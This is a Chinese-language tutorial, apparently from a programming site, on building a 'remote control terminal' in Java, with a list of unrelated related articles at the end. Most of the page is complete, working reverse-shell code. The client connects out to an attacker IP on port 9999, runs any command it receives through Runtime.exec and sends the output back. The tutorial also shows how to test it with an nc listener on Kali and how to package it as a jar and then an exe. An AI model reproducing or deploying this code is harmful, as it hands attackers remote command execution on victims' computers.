基于Java制作一個簡易的遠控終端
遠控終端的本質(zhì)
1、服務端(攻擊者)傳輸消息 ----> socket連接 ----> 客戶端(被攻擊者)接收消息
2、客戶端執(zhí)行消息內(nèi)容(即執(zhí)行服務端傳回來的命令)
3、客戶端傳輸執(zhí)行結(jié)果 ----> socket連接 ----> 服務端顯示命令執(zhí)行結(jié)果
Java制作簡易的遠控
1、環(huán)境
環(huán)境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe
2、新建項目
打開idea,直接新建一個最普通的Java項目即可。
3、新建一個Java類
4、編寫程序
(1)導入需要使用到的類包
import java.io.*; import java.net.Socket; import java.nio.charset.StandardCharsets;
(2)編寫main方法
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { } }
(3)建立socket連接
public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); } catch (IOException e) { e.printStackTrace(); } }
(4)接收服務端傳輸?shù)南?即命令)
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { // inputStream接收服務端傳入的字節(jié)流數(shù)據(jù) InputStream inputStream = socket.getInputStream(); // 定義客戶端以一個字節(jié)大小的方式接收服務端傳入的字節(jié)流數(shù)據(jù) byte[] bytes = new byte[1]; // 服務端傳入字節(jié)流數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)——命令 String command = ""; while (true) { // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { // 將服務端傳入的字節(jié)流數(shù)據(jù)以一個字節(jié)大小的方式讀入bytes字節(jié)數(shù)組中 inputStream.read(bytes); // 將讀入的字節(jié)流數(shù)據(jù)轉(zhuǎn)化成16進制數(shù)據(jù) String hexString = BytesToHexString(bytes); // 將16進制數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)并賦值給command——命令 command += HexStringToString(hexString); // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { // 去掉服務端傳回來命令的空格 command = command.trim(); // 如果傳回來的命令為exit,就直接斷開連接 if (command.equals("exit")) { return; } } } } } } ... } }
其中需要將接收數(shù)據(jù)的字節(jié)流先轉(zhuǎn)化為16進制數(shù)據(jù),再將16進制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù),這里分別自定義了兩個靜態(tài)方法:BytesToHexString和HexStringToString。
兩個方法的定義如下:
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { ...... } // 將字節(jié)流數(shù)據(jù)轉(zhuǎn)化為16進制數(shù)據(jù) public static String BytesToHexString(byte[] bytes) { if (bytes == null) { return null; } char[] hexArray = "0123456789ABCDEF".toCharArray(); char[] hexChars = new char[bytes.length * 2]; for (int i = 0; i < bytes.length; i++) { int temp = bytes[i] & 0xFF; hexChars[i * 2] = hexArray[temp >> 4]; hexChars[i * 2 + 1] = hexArray[temp & 0x0F]; } return new String(hexChars); } // 將16進制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù) public static String HexStringToString(String hexString) { byte[] array = new byte[hexString.length() / 2]; try { for (int i = 0; i < array.length; i++) { array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16)); } hexString = new String(array, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return ""; } return hexString; }
(5)執(zhí)行消息內(nèi)容(即執(zhí)行服務端傳回來的命令)
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { ....... while (true) { // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { ...... // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { ...... } // 執(zhí)行命令并返回結(jié)果 try { // 執(zhí)行服務端傳回來的命令,將命令的執(zhí)行過程交給exec進程 Process exec = Runtime.getRuntime().exec(command); } catch (Exception e) { e.printStackTrace(); } } } } } } ...... } }
(6)將執(zhí)行結(jié)果返回給服務端
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { ....... while (true) { // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { ...... // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { ...... } // 執(zhí)行命令并返回結(jié)果 try { // 執(zhí)行服務端傳回來的命令,將命令的執(zhí)行過程交給exec進程 Process exec = Runtime.getRuntime().exec(command); // 將執(zhí)行命令返回結(jié)果的流賦值給輸入流results中 InputStream results = exec.getInputStream(); // 考慮到執(zhí)行命令的返回結(jié)果可能會有中文字符,所以采用BufferedReader BufferedReader reader = new BufferedReader(new InputStreamReader(results)); // 創(chuàng)建數(shù)據(jù)輸出流,并將數(shù)據(jù)輸出流中的數(shù)據(jù)流給到socket連接的輸出流中,以讓命令結(jié)果返回給服務端 DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream()); String line = null; // 讀取命令執(zhí)行結(jié)果的一行數(shù)據(jù),如果數(shù)據(jù)不為空,則將數(shù)據(jù)寫入到數(shù)據(jù)輸出流中,然后將數(shù)據(jù)輸出流中的數(shù)據(jù)進行刷新 while ((line = reader.readLine()) != null) { dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8)); dataOutputStream.flush(); } // 進程等待 exec.waitFor(); // 關閉輸入流 results.close(); // 關閉讀入流 reader.close(); // 銷毀進程對象 exec.destroy(); break; } catch (Exception e) { e.printStackTrace(); } finally { // 將存放命令的字符串置位空,防止下次執(zhí)行命令的時候?qū)⒃摯蚊钜矌雸?zhí)行 command = ""; } } } } } } ...... } }
至此,Java編寫遠程控制終端完成!
(7)測試遠控終端的可用性
打開一臺kali虛擬機(IP為192.168.6.142)作為服務端,使用nc監(jiān)聽9999端口。
連接成功,遠控終端制作完成!
5、將項目打包成jar包并生成exe文件
(1)打成jar包
步驟一
點擊文件 --> 點擊項目結(jié)構。
步驟二
點擊工件 --> 點擊JAR --> 點擊來自具有…。
步驟三
將主類設為main函數(shù)所在的Java類 --> 點擊確定。
步驟四
點擊確定。
步驟五
點擊構建 --> 點擊構建項目
步驟六
再次點擊構建 --> 點擊構建工件
步驟七
點擊構建即可。
步驟八
這時會在項目out\artifacts\remoteControl_jar目錄下,生成了一個Jar文件。直接復制拖出來即可。
至此打包jar包完成。
(2)生成exe文件
使用exe4j(官網(wǎng)下載地址:https://exe4j.apponic.com/ )將jar包生成exe文件。
步驟一
打開exe4j --> next。
步驟二
選擇"JAR in EXE"mode --> next
步驟三
填寫相關內(nèi)容 --> next。
步驟四
填寫exe文件名字 --> 選擇exe圖標 --> 設置Advanced Options為32-bit or 64-bit。
步驟五
勾選選項 --> next。
步驟六
next。
步驟七
添加jar包 --> 選擇jar包的存放路徑 --> 選擇jar包main函數(shù)所在的主類 --> next。
步驟八
選擇jdk兼容最低的版本 --> 勾選"Allow JREs with a beta version number" --> next
步驟九
之后就一直next即可。
exe文件成功生成。
(3)測試exe文件的可用性
kali服務端監(jiān)聽端口。
點擊運行生成的exe文件。
點擊確定。
連接成功,Java制作遠程控制終端完成!
附完整代碼
import java.io.*; import java.net.Socket; import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { // inputStream接收服務端傳入的字節(jié)流數(shù)據(jù) InputStream inputStream = socket.getInputStream(); // 定義客戶端以一個字節(jié)大小的方式接收服務端傳入的字節(jié)流數(shù)據(jù) byte[] bytes = new byte[1]; // 服務端傳入字節(jié)流數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)——命令 String command = ""; while (true) { // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { // 將服務端傳入的字節(jié)流數(shù)據(jù)以一個字節(jié)大小的方式讀入bytes字節(jié)數(shù)組中 inputStream.read(bytes); // 將讀入的字節(jié)流數(shù)據(jù)轉(zhuǎn)化成16進制數(shù)據(jù) String hexString = BytesToHexString(bytes); // 將16進制數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)并賦值給command——命令 command += HexStringToString(hexString); // 判斷服務端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { // 去掉服務端傳回來命令的空格 command = command.trim(); // 如果傳回來的命令為exit,就直接斷開連接 if (command.equals("exit")) { return; } // 執(zhí)行命令并返回結(jié)果 try { // 執(zhí)行服務端傳回來的命令,將命令的執(zhí)行過程交給exec進程 Process exec = Runtime.getRuntime().exec(command); // 將執(zhí)行命令返回結(jié)果的流賦值給輸入流results中 InputStream results = exec.getInputStream(); // 考慮到執(zhí)行命令的返回結(jié)果可能會有中文字符,所以采用BufferedReader BufferedReader reader = new BufferedReader(new InputStreamReader(results)); // 創(chuàng)建數(shù)據(jù)輸出流,并將數(shù)據(jù)輸出流中的數(shù)據(jù)流給到socket連接的輸出流中,以讓命令結(jié)果返回給服務端 DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream()); String line = null; // 讀取命令執(zhí)行結(jié)果的一行數(shù)據(jù),如果數(shù)據(jù)不為空,則將數(shù)據(jù)寫入到數(shù)據(jù)輸出流中,然后將數(shù)據(jù)輸出流中的數(shù)據(jù)進行刷新 while ((line = reader.readLine()) != null) { dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8)); dataOutputStream.flush(); } // 進程等待 exec.waitFor(); // 關閉輸入流 results.close(); // 關閉讀入流 reader.close(); // 銷毀進程對象 exec.destroy(); break; } catch (Exception e) { e.printStackTrace(); } finally { // 將存放命令的字符串置位空,防止下次執(zhí)行命令的時候?qū)⒃摯蚊钜矌雸?zhí)行 command = ""; } } } } } } catch (IOException e) { e.printStackTrace(); } } // 將字節(jié)流數(shù)據(jù)轉(zhuǎn)化為16進制數(shù)據(jù) public static String BytesToHexString(byte[] bytes) { if (bytes == null) { return null; } char[] hexArray = "0123456789ABCDEF".toCharArray(); char[] hexChars = new char[bytes.length * 2]; for (int i = 0; i < bytes.length; i++) { int temp = bytes[i] & 0xFF; hexChars[i * 2] = hexArray[temp >> 4]; hexChars[i * 2 + 1] = hexArray[temp & 0x0F]; } return new String(hexChars); } // 將16進制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù) public static String HexStringToString(String hexString) { byte[] array = new byte[hexString.length() / 2]; try { for (int i = 0; i < array.length; i++) { array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16)); } hexString = new String(array, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return ""; } return hexString; } }
以上就是基于Java制作一個簡易的遠控終端的詳細內(nèi)容,更多關于Java遠控終端的資料請關注腳本之家其它相關文章!
相關文章
淺談在Spring中如何使用數(shù)據(jù)源(DBCP、C3P0、JNDI)
這篇文章主要介紹了淺談在Spring中如何使用數(shù)據(jù)源(DBCP、C3P0、JNDI),小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2018-10-10Java實現(xiàn)深度優(yōu)先搜索(DFS)和廣度優(yōu)先搜索(BFS)算法
深度優(yōu)先搜索(DFS)和廣度優(yōu)先搜索(BFS)是兩種基本的圖搜索算法,可用于圖的遍歷、路徑搜索等問題。DFS采用棧結(jié)構實現(xiàn),從起點開始往深處遍歷,直到找到目標節(jié)點或遍歷完整個圖;BFS采用隊列結(jié)構實現(xiàn),從起點開始往廣處遍歷,直到找到目標節(jié)點或遍歷完整個圖2023-04-04解決SpringMvc后臺接收json數(shù)據(jù)中文亂碼問題的幾種方法
本篇文章主要介紹了解決SpringMvc后臺接收json數(shù)據(jù)中文亂碼問題的幾種方法,具有一定的參考價值,感興趣的小伙伴們可以參考一下2018-01-01java類中生成jfreechart,返回圖表的url地址 代碼分享
這篇文章介紹了java類中生成jfreechart,返回圖表的url地址的代碼,有需要的朋友可以參考一下2013-08-08